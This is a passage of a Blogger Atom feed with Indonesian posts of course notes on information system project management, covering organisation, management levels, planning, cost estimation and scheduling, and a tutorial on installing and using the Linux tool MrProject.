/&gt;&lt;/span&gt;&lt;/a&gt;&lt;span style="font-family:trebuchet ms;"&gt;3.1. Konsep Manajemen Proyek&lt;br /&gt;Manajemen proyek sistem informasi ditekankan pada tiga faktor, yaitu : manusia,&lt;br /&gt;masalah dan proses. Dalam pekerjaan sistem informasi faktor manusia sangat berperan&lt;br /&gt;penting dalam suksesnya manajemen proyek. Pentingnya faktor manusia dinyatakan&lt;br /&gt;dalam model kematangan kemampuan manajement manusia ( a people management&lt;br /&gt;capability maturity model/ PM-CMM) yang berfungsi untuk meningkatkan kesiapan&lt;br /&gt;organisasi perangkat lunak (sistem informasi) dalam menyelesaikan masalah dengan&lt;br /&gt;melakukan kegiatan menerima, memilih, kinerja manajemen, pelatihan, kompensasi,&lt;br /&gt;pengembangan karier, organisasi dan rancangan kerja serta pengembangan tim.&lt;br /&gt;3.1.1. Dasar-Dasar Organisasional&lt;br /&gt;Organisasi adalah sistem yang saling mempengaruhi dan salaing bekerja sama&lt;br /&gt;antara orang yang satu dengan orang yang lain dalam suatu kelompok untuk mencapai&lt;br /&gt;suatu tujuan tertentu yang telah disepakati bersama. Organisasi merupakan sistem&lt;br /&gt;maka terdiri dari beberapa elemen yaitu :&lt;br /&gt;1. orang, dalam organisasi harus ada sekelompok orang yang bekerja dan salah&lt;br /&gt;satunya ada yang memimpin organisasi tersebut.&lt;br /&gt;2. tujuan, dalam organisasi harus ada tujuan yang harus dicapai, baik dalam jangka&lt;br /&gt;pendek maupun jangka panjang.&lt;br /&gt;3. posisi, setiap orang yang ada dalam suatu organisasi akan menempati posisi atau&lt;br /&gt;kedudukannya masing-masing.&lt;br /&gt;4. pekerjaan, setiap orang yang ada dalam organisasi tersebut mempunyai pekerjaan&lt;br /&gt;(job) masing-masing sesuai dengan posisinya.&lt;br /&gt;5. teknologi, untuk mencapai tujuan organisasi membutuhkan teknologi untuk&lt;br /&gt;membantu dalam pengolahan data menjadi suatu informasi.&lt;br /&gt;6. struktur, struktur organisasi merupakan pola yang mengatur pelaksanaan pekerjaan&lt;br /&gt;dan hubungan kerja sama antar setiap orang yang ada dalam organisasi tersebut.&lt;br /&gt;7. lingkungan luar, merupakan elemen yang sangat penting dan akan mempengaruhi&lt;br /&gt;keberhasilan suatu organisasi, misalnya adanya kebijakan pemerintah tentang&lt;br /&gt;organisasi.&lt;br /&gt;Prinsip-prinsip organisasi adalah nilai-nilai yang digunakan sebagai landasan kerja&lt;br /&gt;bagi setiap orang yang ada dalam organisasi tersebut untuk mencapai keberhasilan&lt;br /&gt;tujuan yang telah disepakati. Prinsip-prinsip yang ada dalam organisasi meliputi :&lt;br /&gt;1. tujuan organisasi yang jelas&lt;br /&gt;2. tugas yang dilakukan harus jelas&lt;br /&gt;3. pembagian tugas yang adil&lt;br /&gt;4. penempatan posisi yang tepat&lt;br /&gt;5. adanya koordinasi dan integrasi&lt;br /&gt;Manajemen dalam organisasi terdiri dari tiga tingkatan pembuat keputusan&lt;br /&gt;manajemen yaitu : manajemen tingkat bawah (operasional), manajemen tingkat&lt;br /&gt;menengah (perencanaan dan kontrol manajerial) dan manajemen tingkat atas&lt;br /&gt;(strategik). Setiap level memiliki tanggung jawabnya sendiri-sendiri dan semuanya&lt;br /&gt;bekerja sama dalam mencapai tujuan dan sasaran.&lt;br /&gt;1. Manajemen tingkat bawah (operasional)&lt;br /&gt;- Manajer operasional membuat keputusan berdasarkan aturan-aturan yang telah&lt;br /&gt;ditetapkan sebelumnya dan menghasilkan hal-hal yang dapat diprediksikan bila&lt;br /&gt;diterapkan dengan benar.&lt;br /&gt;- Manajer operasi adalah pembuat keputusan yang pekerjaannya lebih jelas&lt;br /&gt;sehingga dapat mempengaruhi implementasi dalam jadwal kerja, kontrol&lt;br /&gt;inventaris, penerimaan, dan pengontrolan proses-proses seperti produksi.&lt;br /&gt;- Manajer operasi membutuhkan informasi internal yang repetitif, dan sangat&lt;br /&gt;tergantung pada informasi yang memuat tentang kinerja terbaru dan merupakan&lt;br /&gt;pengguna on-line terbesar, sumberdaya-sumberdaya informasi real-time.&lt;br /&gt;2. Manajemen tingkat menengah (perencanaan dan kontrol manajerial)&lt;br /&gt;- Manajer tingkat menengah membuat perencanaan jangka pendek dan&lt;br /&gt;mengontrol keputusan-keputusan tentang bagaimana sumberdaya bisa&lt;br /&gt;dialokasikan dengan baik untuk memenuhi tujuan-tujuan organisasional, dan&lt;br /&gt;meramalkan kebutuhan-kebutuhan sumberdaya dimasa datang untuk&lt;br /&gt;meminimalkan problem-problem pegawai yang dapat membahayakan&lt;br /&gt;produktivitas.&lt;br /&gt;- Manajer tingkat menengah sangat tergantung pada informasi internal dan&lt;br /&gt;membutuhkan sangat besar informasi real- time agar dapat melakukan&lt;br /&gt;pengontrolan dengan tepat dan informasi terbaru atas kinerja yang diukur sesuai&lt;br /&gt;standar.&lt;br /&gt;3. Manajemen tingkat atas (strategik)&lt;br /&gt;- Manajer strategik membuat keputusan-keputusan yang akan membimbing&lt;br /&gt;manajer operasional dan manajer tingkat menengah.&lt;br /&gt;- Manajer strategik bekerja di lingkungan pembuat keputusan yang sangat tidak&lt;br /&gt;pasti. Membutuhkan informasi yang bersifat strategis, karena tugas kesehariannya&lt;br /&gt;adalah pengarahan dan perencanaan.&lt;br /&gt;- Informasi yang strategis diperlukan untuk menilai tingkat keberhasilan organisasi&lt;br /&gt;menjalankan tugas dan tujuan organisasi.&lt;br /&gt;- Membutuhkan informasi internal (agar bisa beradaptasi dengan perubahanperubahan&lt;br /&gt;yang terjadi dengan cepat) dan informasi eksternal (untuk mengetahui&lt;br /&gt;peraturan pemerintah,kebijakan perekonomian, kondisi pasar dan strategi&lt;br /&gt;perusahaan-perusahaan pesaing).&lt;br /&gt;3.2. Kebijakan dan Perencanaan Proyek Sistem Informasi&lt;br /&gt;Suatu sistem informasi dapat dikembangkan karena adanya kebijakan&lt;br /&gt;dan perencanaan telebih dahulu. Tanpa adanya perencanaan sistem yang&lt;br /&gt;baik, pengembangan sistem tidak akan dapat berjalan sesuai dengan yang&lt;br /&gt;diharapkan. Tanpa adanya kebijakan pengembangan sistem oleh manajemen&lt;br /&gt;puncak, maka pengembangan sistem tidak akan mendapat dukungan dari&lt;br /&gt;manajemen puncak tersebut.&lt;br /&gt;3.2.1. Kebijakan Sistem&lt;br /&gt;Kebijakan untuk mengembangkan sistem informasi dilakukan oleh&lt;br /&gt;manajemen puncak karena manajemen menginginkan untuk meraih&lt;br /&gt;kesempatan-kesempatan yang ada yang tidak dapat diraih oleh sistem yang&lt;br /&gt;lama atau sistem lama mempunyai kelemahan (masalah)&lt;br /&gt;3.2.2. Perencanaan Sistem&lt;br /&gt;Perencanaan sistem menyangkut estimasi sumberdaya (kebutuhankebutuhan&lt;br /&gt;fisik dan tenaga kerja) dan biaya. Perencanaan sistem terdiri dari :&lt;br /&gt;perencanaan jangka pendek (periode 1–2 tahun) dan jangka panjang&lt;br /&gt;(periode sampai 5 tahun).&lt;br /&gt;Perencanaan sistem biasanya ditangani oleh staf perencanaan sistem,&lt;br /&gt;departemen pengembangan sistem atau depertemen pengolahan data.&lt;br /&gt;3.2.3. Proses Perencanaan Sistem&lt;br /&gt;Proses perencanaan sistem dapat dikelompokkan dalam tiga proses&lt;br /&gt;utama, yaitu :&lt;br /&gt;1. Merencanakan proyek-proyek sistem&lt;br /&gt;Tahapan proses perencanaan sistem yaitu :&lt;br /&gt;Mengkaji tujuan, perencanaan strategi dan taktik perusahaan&lt;br /&gt;Mengidentifikasi proyek-proyek sistem&lt;br /&gt;Menetapkan sasaran proyek-proyek sistem&lt;br /&gt;Menetapkan kendala proyek-proyek sistem (mis. Batasan biaya, waktu,&lt;br /&gt;umur ekonomis, peraturan yang berlaku)&lt;br /&gt;Menetukan prioritas proyek-proyek sistem&lt;br /&gt;Membuat laporan perencanaan sistem&lt;br /&gt;Meminta persetujuan manajemen&lt;br /&gt;1. Mempersiapkan proyek-proyek sistem yang akan dikembangkan&lt;br /&gt;Persiapan ini meliputi :&lt;br /&gt;Menunjuk team analis (dapat berasal dari departemen pengembangan&lt;br /&gt;yang ada atau dari luar perusahaan (konsultan)&lt;br /&gt;Mengumumkan proyek pengembangan sistem&lt;br /&gt;1. Mendefinisikan proyek-proyek sistem yang dikembangkan&lt;br /&gt;Melakukan studi untuk mencari alternatif pemecahan terbaik yang paling&lt;br /&gt;layak untuk dikembangkan. Tahapan yang dilakukan yaitu :&lt;br /&gt;Mengidentifikasi kembali ruang lingkup dan sasaran proyek sistem&lt;br /&gt;Melakukan studi kelayakan&lt;br /&gt;Menilai kelayakan proyek sistem&lt;br /&gt;Membuat usulan proyek sistem&lt;br /&gt;Meminta persetujuan manajemen&lt;br /&gt;3.3. Perkiraan Proyek Sistem Informasi&lt;br /&gt;Sekarang biaya merupakan elemen yang paling penting dan mahal dalam&lt;br /&gt;pengembangan sistem berbasis komputer. Perkiraan biaya yang salah atau kurang tepat&lt;br /&gt;dapat mengurangi keuntungan atau malah kerugian. Perkiraan biaya sistem informasi&lt;br /&gt;dan usaha tidak dapat dihitung dengan tepat, karena banyak variabel (manusia, teknikal,&lt;br /&gt;lingkungan) yang mempengaruhinya.&lt;br /&gt;Untuk mencapai perkiraan biaya dan usah yang dapat diandalkan, digunakan&lt;br /&gt;pilihan sebagai berikut :&lt;br /&gt;- Memperkirakan waktu yang paling lama dari pengerjaan proyek&lt;br /&gt;- Perkiraan berdasarkan pada proyek yang sama&lt;br /&gt;- Menggunakan teknik dekomposis&lt;br /&gt;- Menggunakan satu atau lebih model empiris&lt;br /&gt;Memperkirakan waktu untuk menyelesaikan setiap kegiatan merupakan bagian&lt;br /&gt;yang paling sulit, untuk itu butuh pengalaman dalam memperkirakan waktu yang&lt;br /&gt;diperlukan. Penjadwalan tugas-tugas (kegiatan) dapat menggunakan :&lt;br /&gt;1. Grafik Gantt&lt;br /&gt;Merupakan suatu grafik dimana ditampilkan kotak-kotak yang mewakili setiap tugas&lt;br /&gt;(kegiatan) dan panjang masing-masing setiap kotak menunjukkan panjang relatif&lt;br /&gt;tugas-tugas yang dikerjakan.&lt;br /&gt;2. Diagram PERT (Program Evaluation and Review Techniques)&lt;br /&gt;Suatu program (proyek) diwakili dengan jaringan simpul dan tanda panah yang&lt;br /&gt;kemudian dievaluasi untuk menentukan kegiatan-kegiatan terpenting, meningkatkan&lt;br /&gt;jadwal yang diperlukan dan merevisi kemajuan-kemajuan saat proyek telah&lt;br /&gt;dijalankan. Diagram PERT lebih baik dari Gantt, karena :&lt;br /&gt;- Mudah mengidentifikasi tingkat prioritas&lt;br /&gt;- Mudah mengidentifikasi jalur kritis dan kegiatan-kegiatan kritis&lt;br /&gt;- Mudah menentukan waktu kendur&lt;br /&gt;3. Penjadwalan proyek berbasis komputer&lt;br /&gt;menggunakan PC untuk membuat jadwal proyek lebih praktis dan menguntungkan.&lt;br /&gt;Contoh program penjadwalan yaitu Ms Project, Symantec’s Timeline dan Computer&lt;br /&gt;Associates’ CA-Super Project.&lt;br /&gt;Proses pengembangan sistem informasi (PL) dikembangkan oleh pelaku-pelaku&lt;br /&gt;yang dapat dikatagorikan dalam 5 kelompok :&lt;br /&gt;1. Manajer senior, yang bertugas mendefinisikan permasalahan-permasalahan bisnis&lt;br /&gt;dan sangat berpengaruh pada proyek tersebut.&lt;br /&gt;2. Manajer proyek (teknik), yang merencanakan, memotivasi, mengorganisasi dan&lt;br /&gt;mengontrol orang-orang yang bekerja dalam proyek tersebut (praktisi).&lt;br /&gt;3. Praktisi, adalah orang yang mempunyai kemampuan teknis yang dibutuhkan untuk&lt;br /&gt;mendapatkan produk sistem informasi (program aplikasi).&lt;br /&gt;4. Pelanggan, adalah orang yang membutuhkan sistem informasi (PL) tersebut.&lt;br /&gt;5. Pengguna akhir, orang yang berinteraksi dengan sistem informasi (PL) yang&lt;br /&gt;dikaitkan dengan penggunaan produk.&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5268514012556433429-1410194766364452733?l=adingresik.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://adingresik.blogspot.com/feeds/1410194766364452733/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5268514012556433429&amp;postID=1410194766364452733' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5268514012556433429/posts/default/1410194766364452733'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5268514012556433429/posts/default/1410194766364452733'/><link rel='alternate' type='text/html' href='http://adingresik.blogspot.com/2007/12/manajemen-sistem-informasi-bagian-3.html' title='Manajemen Sistem Informasi ( Bagian 3 )'/><author><name>ITB - D4</name><uri>http://www.blogger.com/profile/16945922430998191222</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_eTjLkcqj9WM/R2dNjcle6AI/AAAAAAAAAGY/jGjURJwUIYE/s72-c/pda5.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5268514012556433429.post-4081182459176166069</id><published>2007-12-17T20:16:00.000-08:00</published><updated>2007-12-17T20:54:18.555-08:00</updated><title type='text'>manajemen sistem operasi ( Bagian 4 )</title><content type='html'>&lt;h2 class="posttitle"&gt;&lt;a href="http://teriyakiboz.wordpress.com/2007/11/25/konsep-manajemen-proyek/" rel="bookmark" tip="Taut Tetap ke Konsep Manajemen Proyek"&gt;Konsep  Manajemen Proyek&lt;/a&gt;&lt;/h2&gt; &lt;p class="postmeta"&gt;Nopember 25, 2007 · Disimpan dalam &lt;a href="http://id.wordpress.com/tag/sistem-manajemen-operasi/" rel="category tag" tip="Lihat seluruh tulisan dalam sistem manajemen operasi"&gt;sistem manajemen  operasi&lt;/a&gt; &lt;/p&gt; &lt;div class="postentry"&gt; &lt;div class="snap_preview"&gt; &lt;p&gt;&lt;img src="http://ldp.nedmirror.nl/linuxfocus/common/images2/article377/highlighted_entry.jpg" height="303" width="368" /&gt;Manajemen proyek sistem informasi ditekankan pada tiga faktor, yaitu :  manusia,&lt;br /&gt;masalah dan proses. Dalam pekerjaan sistem informasi faktor manusia  sangat berperan&lt;br /&gt;penting dalam suksesnya manajemen proyek. Pentingnya faktor  manusia dinyatakan&lt;br /&gt;dalam model kematangan kemampuan manajement manusia (&lt;br /&gt;a  people management&lt;br /&gt;capability maturity model&lt;br /&gt;/ PM-CMM) yang berfungsi untuk  meningkatkan kesiapan&lt;img src="http://antareja.rvs.uni-bielefeld.de/avinanta/Publication/Kelautan/img20.png" align="right" height="199" width="288" /&gt;&lt;br /&gt;organisasi perangkat lunak (sistem informasi) dalam  menyelesaikan masalah dengan&lt;br /&gt;melakukan kegiatan menerima, memilih, kinerja  manajemen, pelatihan, kompensasi,&lt;br /&gt;pengembangan karier, organisasi dan  rancangan kerja serta pengembangan tim.&lt;br /&gt;3.1.1. Dasar-Dasar  Organisasional&lt;br /&gt;Organisasi adalah sistem yang saling mempengaruhi dan salaing  bekerja sama&lt;br /&gt;antara orang yang satu dengan orang yang lain dalam suatu  kelompok untuk mencapai&lt;br /&gt;suatu tujuan tertentu yang telah disepakati bersama.  Organisasi merupakan sistem&lt;br /&gt;maka terdiri dari beberapa elemen yaitu :&lt;br /&gt;1.  orang, dalam organisasi harus ada sekelompok orang yang bekerja dan  salah&lt;br /&gt;satunya ada yang memimpin organisasi tersebut.&lt;br /&gt;2. tujuan, dalam  organisasi harus ada tujuan yang harus dicapai, baik dalam jangka&lt;br /&gt;pendek  maupun jangka panjang.&lt;br /&gt;3. posisi, setiap orang yang ada dalam suatu  organisasi akan menempati posisi atau&lt;br /&gt;kedudukannya masing-masing.&lt;br /&gt;4.  pekerjaan, setiap orang yang ada dalam organisasi tersebut mempunyai  pekerjaan&lt;br /&gt;(job) masing-masing sesuai dengan posisinya.&lt;br /&gt;5. teknologi, untuk  mencapai tujuan organisasi membutuhkan teknologi untuk&lt;br /&gt;membantu dalam  pengolahan data menjadi suatu informasi.&lt;br /&gt;6. struktur, struktur organisasi  merupakan pola yang mengatur pelaksanaan pekerjaan&lt;br /&gt;dan hubungan kerja sama  antar setiap orang yang ada dalam organisasi tersebut.&lt;br /&gt;7. lingkungan luar,  merupakan elemen yang sangat penting dan akan mempengaruhi&lt;br /&gt;keberhasilan suatu  organisasi, misalnya adanya kebijakan pemerintah  tentang&lt;br /&gt;organisasi.&lt;br /&gt;Prinsip-prinsip organisasi adalah nilai-nilai yang  digunakan sebagai landasan kerja&lt;br /&gt;bagi setiap orang yang ada dalam organisasi  tersebut untuk mencapai keberhasilan&lt;br /&gt;tujuan yang telah disepakati.  Prinsip-prinsip yang ada dalam organisasi meliputi :&lt;br /&gt;1. tujuan organisasi  yang jelas&lt;br /&gt;2. tugas yang dilakukan harus jelas&lt;br /&gt;3. pembagian tugas yang  adil&lt;br /&gt;4. penempatan posisi yang tepat&lt;br /&gt;5. adanya koordinasi dan  integrasi&lt;br /&gt;Manajemen dalam organisasi terdiri dari tiga tingkatan pembuat  keputusan&lt;br /&gt;manajemen yaitu : manajemen tingkat bawah (operasional), manajemen  tingkat&lt;br /&gt;menengah (perencanaan dan kontrol manajerial) dan manajemen tingkat  atas&lt;br /&gt;(strategik). Setiap level memiliki tanggung jawabnya sendiri-sendiri dan  semuanya&lt;br /&gt;bekerja sama dalam mencapai tujuan dan sasaran.&lt;br /&gt;1. Manajemen  tingkat bawah (operasional)&lt;br /&gt;- Manajer operasional membuat keputusan  berdasarkan aturan-aturan yang telah&lt;br /&gt;ditetapkan sebelumnya dan menghasilkan  hal-hal yang dapat diprediksikan bila&lt;br /&gt;diterapkan dengan benar.&lt;br /&gt;- Manajer  operasi adalah pembuat keputusan yang pekerjaannya lebih jelas&lt;br /&gt;sehingga dapat  mempengaruhi implementasi dalam jadwal kerja, kontrol&lt;br /&gt;inventaris, penerimaan,  dan pengontrolan proses-proses seperti produksi.&lt;br /&gt;- Manajer operasi  membutuhkan informasi internal yang repetitif, dan sangat&lt;br /&gt;tergantung pada  informasi yang memuat tentang kinerja terbaru dan  merupakan&lt;br /&gt;pengguna&lt;br /&gt;on-line&lt;br /&gt;terbesar, sumberdaya-sumberdaya  informasi&lt;br /&gt;real-time&lt;br /&gt;2. Manajemen tingkat menengah (perencanaan dan kontrol  manajerial)&lt;br /&gt;- Manajer tingkat menengah membuat perencanaan jangka pendek  dan&lt;br /&gt;mengontrol keputusan-keputusan tentang bagaimana sumberdaya  bisa&lt;br /&gt;dialokasikan dengan baik untuk memenuhi tujuan-tujuan organisasional,  dan&lt;br /&gt;meramalkan kebutuhan-kebutuhan sumberdaya dimasa datang  untuk&lt;br /&gt;meminimalkan problem-problem pegawai yang dapat  membahayakan&lt;br /&gt;produktivitas.&lt;br /&gt;- Manajer tingkat menengah sangat tergantung  pada informasi internal dan&lt;br /&gt;membutuhkan sangat besar informasi&lt;br /&gt;real-  time&lt;br /&gt;agar dapat melakukan&lt;br /&gt;pengontrolan dengan tepat dan informasi terbaru  atas kinerja yang diukur sesuai&lt;br /&gt;standar.&lt;br /&gt;3. Manajemen tingkat atas  (strategik)&lt;br /&gt;- Manajer strategik membuat keputusan-keputusan yang akan  membimbing&lt;br /&gt;manajer operasional dan manajer tingkat menengah.&lt;br /&gt;- Manajer  strategik bekerja di lingkungan pembuat keputusan yang sangat tidak&lt;br /&gt;pasti.  Membutuhkan informasi yang bersifat strategis, karena tugas  kesehariannya&lt;br /&gt;adalah pengarahan dan perencanaan.&lt;br /&gt;- Informasi yang  strategis diperlukan untuk menilai tingkat keberhasilan  organisasi&lt;br /&gt;menjalankan tugas dan tujuan organisasi.&lt;br /&gt;- Membutuhkan  informasi internal (agar bisa beradaptasi dengan perubahan-&lt;br /&gt;perubahan yang  terjadi dengan cepat) dan informasi eksternal (untuk mengetahui&lt;br /&gt;peraturan  pemerintah,kebijakan perekonomian, kondisi pasar dan  strategi&lt;br /&gt;perusahaan-perusahaan pesaing)&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5268514012556433429-4081182459176166069?l=adingresik.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://adingresik.blogspot.com/feeds/4081182459176166069/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5268514012556433429&amp;postID=4081182459176166069' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5268514012556433429/posts/default/4081182459176166069'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5268514012556433429/posts/default/4081182459176166069'/><link rel='alternate' type='text/html' href='http://adingresik.blogspot.com/2007/12/manajemen-sistem-operasi-bagian-4_17.html' title='manajemen sistem operasi ( Bagian 4 )'/><author><name>ITB - D4</name><uri>http://www.blogger.com/profile/16945922430998191222</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5268514012556433429.post-2212320549030064859</id><published>2007-12-17T20:08:00.000-08:00</published><updated>2007-12-17T20:21:19.989-08:00</updated><title type='text'>Manajemen Sistem Informasi ( Bagian 2 )</title><content type='html'>&lt;a title="Permanent Link to Manajemen proyek dengan MrProject" href="http://snytx.blogspot.com/2007/12/manajemen-proyek-dengan-mrproject.html" rel="bookmark"&gt;&lt;span style="font-family:georgia;font-size:180%;"&gt;&lt;strong&gt;Manajemen proyek dengan MrProject&lt;/strong&gt;&lt;/span&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://2.bp.blogspot.com/_eTjLkcqj9WM/R2dKPsle59I/AAAAAAAAAGA/AghDLXSMKGk/s1600-h/pda5.jpg"&gt;&lt;span style="font-family:verdana;"&gt;&lt;img id="BLOGGER_PHOTO_ID_5145162732820948946" style="FLOAT: left; MARGIN: 0px 10px 10px 0px; CURSOR: hand" alt="" src="http://2.bp.blogspot.com/_eTjLkcqj9WM/R2dKPsle59I/AAAAAAAAAGA/AghDLXSMKGk/s320/pda5.jpg" border="0" /&gt;&lt;/span&gt;&lt;/a&gt;&lt;span style="font-family:verdana;"&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:verdana;"&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:verdana;"&gt;      Manajemen waktu dan sumber daya yang baik sangat diperlukan dalam pengerjaan suatu proyek. Anda dapat mempergunakan MrProject untuk membantu Anda.Dalam menyelesaikan suatu proyek, tentunya kita harus mempersiapkan manajemen yang baik untuk setiap waktu dan sumber daya yang kita miliki. Setiap orang menyelesaikan apa, kemudian, setiap tugas bernilai berapa, dan timeline pengerjaan proyek adalah beberapa contohhal yang perlu diantisipasi.Selain itu, kita juga harus memperhatikan apa yang akan terjadi ketika bagian kritikal proyek harus mengalami masalah dan penundaan. Pada sistem pengembangan konvensional, semua hal dirumuskan dalam kertas besar dan dipaparkan habis-habisan di sana. Kertas-kertas yang diperlukan akan semakin banyak apabila proyek mengalami masalah. Dahi-dahi berkerut bermunculan. Uban tumbuh makin tidak beraturan. Itulah kalau semua dikerjakan secara manual.Bertahun-tahun Microsoft meraup keuntungan yang besar dari penjualan Microsoft Project-nya. Harus diakui, Microsoft Project adalah program yang hebat dan luar biasa. Dengan mengandalkan program tersebut, banyak dana tambahan untuk kertas dan waktu yang bisa dihemat.Bagaimana dengan Linux? Beruntunglah ada Code Factory yang mewujudkan aplikasi project management semacam Microsoft project. Walau masih belum sebagus Microsoft Project, namun kita sudah dapat mengandalkannya untuk manajemen proyek. Penulis menggunakannya dalam melakukan manajemen proyek perusahaan.Apabila Anda belum memiliki aplikasi ini, maka download-lah dari situs web Code Factory: http://www.codefactory.se. Apabila Anda menggunakan Debian, tentunya akan lebih mudah lagi dengan hanya memberikan perintah berikut ini untuk melakukan instalasi: apt-get install mrprojectAplikasi ini cukup umum dipaketkan oleh berbagai distro. Carilah terlebih dahulu ke CD distro Anda sebelum kompilasi ulang dilakukan. Kompilasi ulang MrProject cukup repot dan memakan waktu.Jalankan Mrproject. Anda akan menjumpai sebuah window utama dengan interface yang sangat mirip dengan Microsoft Project, namun jauh lebih sederhana. Ada tiga buah view yang Anda dapatkan: Gantt chart, Tasks, dan Resources.Jangan lupa untuk memperhatikan toolbar yang akan menampilkan tombol-tombol yang relatif dengan view aktif kita.Gantt Chart Sama halnya dengan Microsoft Project, MrProject juga mendukung Gantt Chart. Secara sederhana, Anda dapat saja mendaftarkan task tertentu dan lamanya di view ini. Anda juga bisa mendaftarkan subtask tertentu. Drag and drop juga dapat dilakukan untuk mengubah waktu yang diperlukan dan lain sebagainya.Sebagai contoh, berikut ini kita akan mendaftarkan task dengan nama Analisa Kebutuhan yang diperkirakan memakan waktu selama 2 minggu. Lakukanlah langkah-langkah berikut ini: Pilihlah view Gantt Chart. Klik kanan pada bagian yang menampilkan Name dan Work. Pilihlah Insert task. Baris baru akan ditampilkan untuk Anda. Kliklah satu kali pada masing-masing kolom untuk mengedit. Untuk bagian waktu, Anda dapat memasukkan akhiran d untuk hari dan w untuk minggu. Grafik akan ditampilkan pada frame paling kanan.Apabila dalam Analisa Kebutuhan masih memiliki sub-task, maka dengan mudah Anda dapat membuat subtask-nya. Kliklah pada baris Analisa Kebutuhan, dan pilihlah Insert subtask. Katakanlah kita memiliki subtask untuk Analisa Kebutuhan dengan nama Survei produksi. Anda bisa membuat subtask sebanyak yang diperlukan. Andaikata saat ini kita telah memiliki duabuah subtask untuk Analisa Kebutuhan: Survei produksi dan Survei dokumen.Anda bisa memperhatikan bahwa kedua subtask dimulai pada tanggal yang sama. Karena Survei dokumen harus dilakukan setelah Survei produksi, maka hal tersebut jelas tidak mencerminkan kondisi sesungguhnya. Untuk memperbaiki, Anda dapat melakukan salah satu dari cara berikut ini: Cara pertama: klik kanan pada subtask Survei dokumen. Pilih Edit task. Pada tab predecessors, kliklah tombol Add dan pilihlah Survei produksi. Cara kedua adalah cara yang lebih mudah. Kliklah pada diagram Survei produksi, dan draglah panah yang muncul ke bagian Survei dokumen. Maka Anda pun selesai.Untuk menghapus task, klik kananlah pada task yang bersangkutan, dan pilihlah Unlink task. Daftarkan segala task dan subtask Anda. Anda dapat menyembunyikan subtask setiap task sehingga tampilan menjadi lebih rapi.TasksPada view Tasks, Anda dapat setiap task ataupun subtask dengan lebih detail. Di sini pula, Anda dapat melihat cost yang diperlukan. Cost dapat berupa material ataupun sumber daya manusia. Pengaturan sumber daya akan kita lakukan setelah ini. Klik kananlah pada setiap task yang ingin di lihat detailnya, dan pilihlah Edit task.Perhatikanlah dialog yang ditampilkan. Kita telah melihat dialog ini sebelumnya. Kita memiliki empat tab: General untuk pengaturan umum, Resources untuk sumber daya yang digunakan, Predecessors untuk task sebelumnya, dan Notes untuk catatan khusus per task. Pada tab Notes, Anda dapat memasukkan catatan tertentu untuk setiap task.ResourcesKita berpindah ke view Resources untuk mengatur sumber daya yang diperlukan selama proyek ini dikerjakan. Saat ini, kita belum mendefinisikan satu sumber dayapun. Dalam sumber daya manusia, setiap personal dapat menjadi anggota grup tertentu. Sebagai contoh, kita memiliki personal dengan nama Mr. Victim One yang tergabung dalam grup Developer.Maka, pertama-tama, kita harus membuat grup developer terlebih dahulu.Untuk membuat grup baru dengan nama Developer, kliklah pada tombol Groups di toolbar. Sebuah dialog akan terbuka untuk Anda. Kliklah tombol Add untuk menambah grup baru. Kemudian, editlah grup baru Anda tersebut. Kliklah tombol Close setelah selesai. Anda barusaja membuat grup Developer. Lakukan langkah yang sama untuk membuat (atau menghapus) grup baru.Untuk memasukkan Mr. Victim One ke dalam grup Developer, klik kananlah pada area kosong di frame kanan, dan pilihlah Insert resource. Editlah resource Anda dengan klik sekali pada setiap field yang diinginkan. Pada field type, karena Mr. Victim One adalah sumber daya manusia, maka pilihlah Work. Sebaliknya, ketika Anda mendaftarkan sumber daya lainnya yang bukan berupa SDM, maka pilihlah Material. Setelah itu, pilihlah Developer pada field Group. Anda juga dapat memasukkan nilai tertentu, misalnya 100 untuk field Cost.Kita telah memiliki satu orang personal sebagai sumber daya manusia. Lakukan langkah yang sama untuk mendaftarkan sumber daya baru.Kembalilah ke view tasks, dan Anda dapat mendelegasikan sumber daya manusia yang telah tersedia untuk setiap task tertentu. Bagaimana, mudah bukan menggunakan MrProject?PencetakanBaiklah. Big boss menginginkan laporan manajemen proyek. Cepat dan rapi! Untunglah, Mrproject cukup memanjakan penggunanya dengan fasilitas print dan print preview yang sangat bagus.Pada pencetakan, setiap view akan dicetak hampir sama persis seperti apayang terpampang di layar monitor kita. Dengan demikian, kita tidak perlu kerja duakali untuk menjelaskan setiap komponen manajemen proyek.Untuk mulai mencetak, pilihlah File Print. Sebuah dialog akan ditampilkan untuk Anda. Anda mungkin akan tercengang dengan fasilitas print preview-nya. Demikianlah perkenalan kita dengan MrProject. Selamat menikmati proyek Anda!&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5268514012556433429-2212320549030064859?l=adingresik.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://adingresik.blogspot.com/feeds/2212320549030064859/comments/default' title='Poskan Komentar'/><link 